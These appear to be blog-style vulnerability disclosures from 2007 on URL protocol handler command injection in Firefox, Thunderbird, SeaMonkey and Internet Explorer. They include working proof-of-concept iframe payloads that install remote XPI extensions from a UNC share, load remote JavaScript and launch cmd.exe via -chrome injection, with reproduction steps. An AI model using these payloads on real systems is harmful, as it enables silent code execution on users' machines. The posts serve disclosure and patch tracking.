Larholm.com

In my previous post I detailed how the Mozilla suite has an unpatched input validation vulnerability in how it handles URL protocol handlers. Together with this I detailed several XPI exploits that could be used to target Thunderbird 2.0.0.4.

I detailed my reason for publishing this vulnerability report in my Bugtraq post.

Thunderbird 2.0.0.5 was released on July 19 and incidentally fixed this specific attack vector through its “osint” command line flag. It is now 6 days later and people should have had time to update their Thunderbird installations, so I have decided to publish my vulnerability report together with the exploits as they detail how to handle XPI exploitation.

Unfortunately, the latest release of Thunderbird 1.5, version 1.5.0.12, has not been updated with this “osint” security patch and as such all Thunderbird 1.5 users are vulnerable against this attack and those exploits. Now would be a good time to upgrade to Thunderbird 2.0.

I stayed with Thunderbird 1.0 for quite a while myself out of concern for the upgrade process and the potential for losing emails. If you have those same concerns I can highly recommend MozBackup, which does a great job in ensuring that all of your data is safely transitioned from Thunderbird 1.5 to Thunderbird 2.0.

Bugzilla reports #389610 and #389613 are the currently open Bugzilla reports that are focused on backporting the “osint” security patch to the older Thunderbird 1.5 branch.

This is the vulnerability report that I promised in “Handling URL protocol handlers“. You can download the entire report together with the XPI exploits at http://larholm.com/media/2007/7/mozillaprotocolabuse.zip. The exploits have been successfully tested with Firefox 2.0.0.5 and Thunderbird 2.0.0.4, Thunderbird 2.0.0.5 is not vulnerable due to the “osint” flag.

Mozilla Protocol Abuse
Cross-application URL handler command injection
Firefox and Thunderbird Demo

Preface

Mozilla does not properly validate the input passed to external URL protocol handlers, allowing you to specify arbitrary arguments to the protocol handler process.

This vulnerability report details how Mozilla handles external protocol handlers, under what circumstances it asks the user for permission before launching an external protocol handler process and how that confirmation can be circumvented.

Any software that is built on top of the Mozilla platform is vulnerable, including Firefox, Thunderbird and Netscape, and XULRunner apps such as Joost and Democracy Player.

The exploitability of this vulnerability depends on the arguments that the external URL protocol handler process accepts.

A detailed proof-of-concept exploit for Firefox, Thunderbird and the mailto: protocol is attached. Further exploits can be developed on request for Mozilla, Netscape Navigator, Outlook and Outlook Express.

Details

When Mozilla encounters a reference to a URL protocol which it does not handle natively it performs a series of actions to determine whether the request is valid and what application should handle that request.

A request such as ‘random://stuff/’ results in the following registry queries:

QueryKey HKCU SUCCESS Name: \REGISTRY\USER\S-1-5-21-117609710-1645522239-839522115-1003_CLASSES
OpenKey HKCU\random NOT FOUND
OpenKey HKCR\random NOT FOUND

Since Mozilla cannot find any registry keys with further details about this protocol it shows the following error:

A request for a valid URL protocol such as ‘acrobat://random/stuff’ will result in the following series of registry queries:

QueryKey HKCU SUCCESS Name: \REGISTRY\USER\S-1-5-21-117609710-1645522239-839522115-1003_CLASSES
OpenKey HKCU\acrobat NOT FOUND
OpenKey HKCR\acrobat SUCCESS Access: 0×1
CloseKey HKCR\acrobat SUCCESS
QueryKey HKCU SUCCESS Name: \REGISTRY\USER\S-1-5-21-117609710-1645522239-839522115-1003_CLASSES
OpenKey HKCU\acrobat\shell\open\command NOT FOUND
OpenKey HKCR\acrobat\shell\open\command SUCCESS Access: 0×1
QueryKey HKCR\acrobat\shell\open\command SUCCESS Name: \REGISTRY\MACHINE\SOFTWARE\Classes\acrobat\shell\open\command
OpenKey HKCU\acrobat\shell\open\command NOT FOUND
QueryValue HKCR\acrobat\shell\open\command\(Default) SUCCESS “C:\Programmer\Adobe\Reader 8.0\Reader\AcroRd32.exe /u “%1″”
QueryKey HKCR\acrobat\shell\open\command SUCCESS Name: \REGISTRY\MACHINE\SOFTWARE\Classes\acrobat\shell\open\command
OpenKey HKCU\acrobat\shell\open\command NOT FOUND
QueryValue HKCR\acrobat\shell\open\command\(Default) SUCCESS “C:\Programmer\Adobe\Reader 8.0\Reader\AcroRd32.exe /u “%1″”
CloseKey HKCR\acrobat\shell\open\command SUCCESS
QueryKey HKCU SUCCESS Name: \REGISTRY\USER\S-1-5-21-117609710-1645522239-839522115-1003_CLASSES
OpenKey HKCU\acrobat\shell\open\command NOT FOUND
OpenKey HKCR\acrobat\shell\open\command SUCCESS Access: 0×1
QueryKey HKCR\acrobat\shell\open\command SUCCESS Name: \REGISTRY\MACHINE\SOFTWARE\Classes\acrobat\shell\open\command
OpenKey HKCU\acrobat\shell\open\command NOT FOUND
QueryValue HKCR\acrobat\shell\open\command\(Default) SUCCESS “C:\Programmer\Adobe\Reader 8.0\Reader\AcroRd32.exe /u “%1″”
QueryKey HKCR\acrobat\shell\open\command SUCCESS Name: \REGISTRY\MACHINE\SOFTWARE\Classes\acrobat\shell\open\command
OpenKey HKCU\acrobat\shell\open\command NOT FOUND
QueryValue HKCR\acrobat\shell\open\command\(Default) SUCCESS “C:\Programmer\Adobe\Reader 8.0\Reader\AcroRd32.exe /u “%1″”
CloseKey HKCR\acrobat\shell\open\command SUCCESS

As can be evidenced, Mozilla does not query for the “URL Protocol” value that Internet Explorer typically queries for external URL protocol handler requests. Instead, Mozilla checks for the existance of the Key and any related “shell\open\command” entries.

As such, this vulnerability is not limited to registered URL protocol handlers but allows you to target any application which has registered a Key inside HKCU or HKLM with an associated “shell\open\command” entry.

The request for ‘acrobat://random/stuff’ results in the following dialog box being displayed to the user, asking for permission to launch the external process.

This dialog is displayed because Mozilla has queried its preferences for details on whether user confirmation is required before handling specific external URL protocols. The code responsible for this validation can be found in “/mozilla/uriloader/exthandler/nsExternalHelperAppService.cpp”, lines 1226 to 1290, a snapshot of which can be found at

http://lxr.mozilla.org/seamonkey/source/uriloader/exthandler/nsExternalHelperAppService.cpp#1226

For any requests to the “acrobat” protocol Mozilla queries the preference setting

“network.protocol-handler.warn-external.acrobat”

and finds nothing, after which it queries the kExternalWarningDefaultPref setting

“network.protocol-handler.warn-external-default”

and finds the default value of “true”, prompting the user confirmation.

As we can see in the following table of default preference settings for the Firefox application a number of external URL protocol handlers do not require user confirmation before their associated external process is launched.

From these default settings we can observe that the URL protocols “mailto”, “news”, “nntp” and “snews” do not require user confirmation. To validate this we send a request for “mailto:random@stuff.com” which triggers the registry queries found in appendix 1.

The most interesting of these queries is the following:

QueryValue HKCR\mailto\shell\open\command\(Default) SUCCESS “”C:\Programmer\Mozilla Thunderbird\thunderbird.exe” -compose “%1″”

In this case the user has installed both Firefox and Thunderbird, which means that a request for “mailto:random@stuff.com” will result in the following command line being executed:

“C:\Programmer\Mozilla Thunderbird\thunderbird.exe” -compose “mailto:random@stuff.com”

This is where the vulnerability can be found, in that Mozilla does not escape any of the characters that are passed to the %1 placeholder. As such we can inject quote characters, spaces and hyphens, and thereby specify additional command line arguments for the protocol handler process.

A request such as ‘mailto:random@stuff.com” -arg “value’ results in the following:

“C:\Programmer\Mozilla Thunderbird\thunderbird.exe” -compose “mailto:random@stuff.com” -arg “value”

Exploit

The first part of our exploit deals with launching the malicious request. Since we know that we can provide Thunderbird.exe with arbitrary arguments we first have to determine which arguments that provide us with an attack vector for malicious code.

Thunderbird has a more limited repertoire of command line arguments in comparison to Mozilla, Firefox or Netscape. For reference, the following MozillaZine Knowledge Base article details the available command line arguments:

http://kb.mozillazine.org/Thunderbird_Command_Line_Arguments

As we can see Thunderbird will not accept any browser-specific command line arguments. This includes the -chrome argument which has been used in a range of exploits targetting Firefox.

However, Thunderbird still accepts all of the command line arguments that are used by the Extension Manager:

http://www.mozilla.org/projects/firefox/extensions/commandlineoptions.html

Our argument of choice will be “-install-global-extension”, but we could as well have used the “-install-global-theme” argument. The difference is mostly cosmetic as both allow you to install an XPI file comprised of XUL content.

XUL content allows us to perform any action that the XUL application can perform, including but not limited to communicating with the network, reading and writing files and launching arbitrary applications.

XPI packaging further allows us to compile an exploit that is automatically updated as part of the internal application update process.

The only limiting factor with the “-install-global-extension” argument is that it does not allow us to reference XPI packages from the HTTP protocol. Instead, it will only install XPI packages found on local drives.

However, it will do this without any form of user confirmation, regardless of whether the XPI package is signed or not, as the argument is intended for administrator use.

To circumvent the local drive restriction we will retrieve our XPI package from a UNC share, which then allows us to install remotely located XPI packages.

The following mailto: request is embedded in an <IFRAME> and demonstrates this:

<iframe src=’mailto://me@nowhere.com” -install-global-extension \\serverip\shared\cmd.xpi’></iframe>

Two different XPI packages have been included with this vulnerability report.

“cmd.xpi “launches CMD.EXE when Thunderbird is launched and adds a “LaunchCMD!” option to the Tools menu.

“remote.xpi” includes a .JS file from a remote host and executes the contents within, which allows for a more easily updated exploit or executing content from an already infected host which is spreading the exploit through a web server.

Steps to reproduce cmd.xpi exploit

1. Modify “cmdxpi.html”

Replace “\\127.0.0.1\shared\cmd.xpi” with the UNC patch to the server share where you have placed the cmd.xpi file, e.g. “\\remoteserver.com\sharename\cmd.xpi”.

2. Open

Open “firefoxprotocol.html” in Firefox

Steps to reproduce remote.xpi exploit

1. Modify remote.xpi

Replace the reference in “remote.xpi/chrome/helloworld.jar!/content/overlay.xul” which says “http://larholm.com/vuln/firefoxxpi.js” with a reference to your own XUL Javascript file, e.g. “http://remoteserver.com/nasty.js”.

2. Modify “remotexpi.html”

Replace “\\127.0.0.1\shared\remote.xpi” with the UNC patch to the server share where you have placed the cmd.xpi file, e.g. “\\remoteserver.com\sharename\remote.xpi”.

3. Open

Open “firefoxprotocol.html” in Firefox

Mitigating factors

Many registered URL protocol handler that rely on the command line for input will also have a DDE component which is used for communication when the process has already been launched. As such, the handling process must not already be running for the exploit to be successful.

This is also the case for Thunderbird.exe, which must not already be running.

Appendix 1

See file “appendix1.txt”

There is a lot of talk about how an application should handle URL protocol handlers. Jesper Johanson has expressed his thoughts, as has David LeBlanc, Billy Rios, Window Snyder and pdp. Billy Rios just detailed yet another potential attack vector for protocol abuse.

I don’t think it is the responsibility of the calling application to perform input validation for the called application. However, I do think it is the responsibility of the calling application to ensure that the arguments to the called application are passed along properly, which is a subtle but important distinction.

When an application registers a URL handler there are only so many ways that it can do this. For the FirefoxURL handler Firefox specified HKLM\FirefoxURL\shell\open\command as

“path\to\firefox.exe” “%1″

Skype registers itself under the callto: protocol as

“C:\Programmer\Skype\Phone\Skype.exe” “/callto:%1″

Windows Address Book registers itself under the ldap: protocol as

“C:\Programmer\Outlook Express\wab.exe” /ldap:%1

And those are pretty much the different variations we can find for registering URL protocol handlers that are to be called from the command line. Most register with quotes directly around the %1 placeholder, some have quotes around the argument and the placeholder and others don’t even surround the placeholder with quotes.

In all these cases you can avoid the potential for mishap by either escaping quotes or whitespace. It should be possible for Internet Explorer, Firefox, Opera and Safari to embed a tiny bit of string handling logic into these very defined cases.

Coincidentally, Jesper published his post about how Mozilla does not escape these quotes either in his blog post on July 20. I had just written up this very same flaw in a vulnerability report two days before, on July 18, together with a proof-of-concept exploit that jumps from Firefox to Thunderbird. Separately from all of this the Mozilla Corporation were farsighted enough to include their “-osint” fix from Firefox 2.0.0.5 in Thunderbird 2.0.0.5, which was released on July 19.

As such, I am that vulnerability report unedited in my next article

This is really just a short note to detail what others have surely discovered as well.

The Mozilla Corporation released Firefox 2.0.0.5 on July 17, followed by the release of Thunderbird 2.0.0.5 on July 19. Both of these releases tightened up the input validation performed on command line arguments, specifically to disallow other browsers from abusing them as attack vectors through inbound arguments.

This was achieved by specifying an additional command line argument called -osint, for “operating system internal”, which was appended to any of their registered URL protocol handlers. Previously, the FirefoxURL protocol handler looked similar to the following

C:\PROGRA~1\MOZILL~3\FIREFOX.EXE -requestPending -url “%1″

Whereas after Firefox 2.0.0.5 the same protocol handler was changed to

C:\PROGRA~1\MOZILL~3\FIREFOX.EXE -requestPending -osint -url “%1″

Whenever the application sees that an -osint flag has been specified it will first determine the argument name and then use the remainder of the command line as the argument value, disrupting the potential for external applications such as Internet Explorer to abuse them as attack vectors.

SeaMonkey 1.1.3 was released on July 16 but does not include this modification. As such it is still possible to perform cross application scripting on SeaMonkey from other browsers, such as Internet Explorer, who still do not escape command line arguments to URL protocol handler applications.

Firefox could be used as an attack vector through its FirefoxURL protocol handler, but SeaMonkey has not yet included the required SeaMonkeyURL protocol which would give it Vista compatibility. It does, however, register itself as the handler for protocols such as gopher: and mailto:, the latter of which we can then use as an attack vector with the following POC exploit.

<html><body>
<iframe src=’mailto:m -chrome “javascript:alert(1)’>
</body></html>

You can also find the above demonstratory exploit at http://larholm.com/vuln/seamonkeymailto.html. All it does is to launch SeaMonkey with the following command line arguments.

SeaMonkey.exe -compose mailto:me@nowhere.com -chrome “javascript:alert(1)

And there you have it, Mozilla might have bailed out Microsoft once with their previous security update but they have yet to release an updated version of SeaMonkey which removes this attack vector. You can still exploit Internet Explorer simply by substituting “FirefoxURL” with “mailto” in your exploit

Mozilla has just released Firefox 2.0.0.5 which purportedly fixes one of the attack vectors of the Internet Explorer input validation flaw that I previously detailed. I will go on the record as stating that this does not actually fix the flaw in Internet Explorer, but simply patches one of the myriads of attack vectors.

As can be seen from the release notes this update fixes 8 different security vulnerabilities. The security update in question is MFSA 2007-23, which has the following choice quote:

Note: Other Windows applications can be called in this way and also manipulated to execute malicious code. This fix only prevents Firefox and Thunderbird from accepting bad data. This patch does not fix the vulnerability in Internet Explorer.

That is the official stance from the Mozilla Corporation, which matches my own assessment. You might remember that there was some controversy about who was to blame. I blamed Microsoft, Secunia blamed Mozilla, Mozilla blamed Microsoft and Microsoft blamed no one in particular, simply stating that it “is not a vulnerability in a Microsoft product”.

I can definitely understand the initial reaction from Microsoft. Most of the emphasis in the public vulnerability reports were dealing with Firefox, the -chrome command line argument and how to properly escape the exploit code.

However, I can still automatically launch a wide range of external applications from Internet Explorer and provide them with arbitrary command line arguments. AcroRd32.exe (Adobe Acrobat PDF Reader), aim.exe (AOL Instant Messenger), Outlook.exe, msimn.exe (Outlook Express), netmeeting.exe, HelpCtr.exe (Windows Help Center), mirc.exe, Skype.exe, wab.exe (Windows Address Book) and wmplayer.exe (Windows Media Player) - just to name a few

I can categorically deny that this flaw has been fixed in Internet Explorer. Nicolas Robillard even detailed this flaw back in 2004 and it has remained unpatched since long before then.

The only thing that is changing as time goes by is the exploration of new attack vectors, which simply means investigating the various command line arguments that each of the above processes will accept to execute code. As soon a new attack vector is uncovered a new exploit can be produced to automatically execute code through Internet Explorer.

That reminds me, outlook.exe is an interesting application to pick apart…

There is an input validation flaw in Internet Explorer that allows you to specify arbitrary arguments to the process responsible for handling URL protocols. This is the same type of input validation vulnerability that I discovered in the Safari 3 beta (see “Safari for Windows, 0day exploit in 2 hours“).

When Firefox is installed it registers a URL protocol handler called “FirefoxURL”. A typical shell open command for this handler is as follows:

[HKEY_CLASSES_ROOT\FirefoxURL\shell\open\command\@]
C:\\PROGRA~1\\MOZILL~2\\FIREFOX.EXE -url “%1″ -requestPending

When Internet Explorer encounters a reference to content inside the FirefoxURL URL scheme it calls ShellExecute with the EXE image path and passes the entire request URI without any input validation. A request such as the following

FirefoxURL://foo” –argument “my value

will result in the following command line being used to launch Firefox

“C:\PROGRA~1\MOZILL~2\FIREFOX.EXE” -url “firefoxurl://foo” –argument “my value/” –requestPending

As can be evidenced it is possible to specify arbitrary arguments to the “firefox.exe” process. This is where the “-chrome” command line argument comes in handy, as it allows us to specify arbitrary Javascript code which is then executed within the privileges of trusted Chrome content.

The exploit that I developed for Safari simply opened CMD.EXE without specifying any arguments, an exercise that was left for the reader. For this exploit I have chosen to demonstrate how you can specify process arguments with the nsIProcess interface found in Mozilla.

The details can be found in the @mozilla.org/process/util;1 component and the nsiProcess interface. nsIProcess takes 3 arguments:

• Blocking: Whether to wait until the process terminates before returning or not
• args: An array of arguments to pass to the process
• count: The length of the args array

As with the previous exploit it is necessary to HTML escape any characters which cannot be used directly inside the URL or the command line, such as commas and quotes. For demonstration purposes I have chosen to escape these characters with both HTML entities and dynamic string construction.

Billy Rios already highlighted a few of the shortcomings with the FirefoxURL protocol handler in “Cross Browser Scripting Demo“. The following proof-of-concept exploit takes this reasoning to its logical conclusion, namely command execution with arbitrary arguments.

<html><body>
<iframe src=’firefoxurl://larholm.com” -chrome “javascript:C=Components.classes;I=Components.interfaces;
file=C[&#39;@mozilla.org/file/local;1&#39;].createInstance(I.nsILocalFile);
file.initWithPath(&#39;C:&#39;+String.fromCharCode(92)+String.fromCharCode(92)+&#39;Windows&#39;+
String.fromCharCode(92)+String.fromCharCode(92)+&#39;System32&#39;+String.fromCharCode(92)+
String.fromCharCode(92)+&#39;cmd.exe&#39;);
process=C[&#39;@mozilla.org/process/util;1&#39;].createInstance(I.nsIProcess);
process.init(file);
process.run(true&#44;[&#39;/k%20echo%20hello%20from%20larholm.com&#39;]&#44;1);
&#39;><
</body></html>

Remember to remove the line breaks if you want the exploit to work, they are only there for cosmetic reasons. You can also test this exploit at http://larholm.com/vuln/firefoxurl.html.

And there you have it, a cross browser command injection vulnerability for Internet Explorer. I am currently having some fun with the Windows Help Center and Office Groove 2007, both of which exhibit some clear potentials for malicious manipulation, but that will have to wait for a later article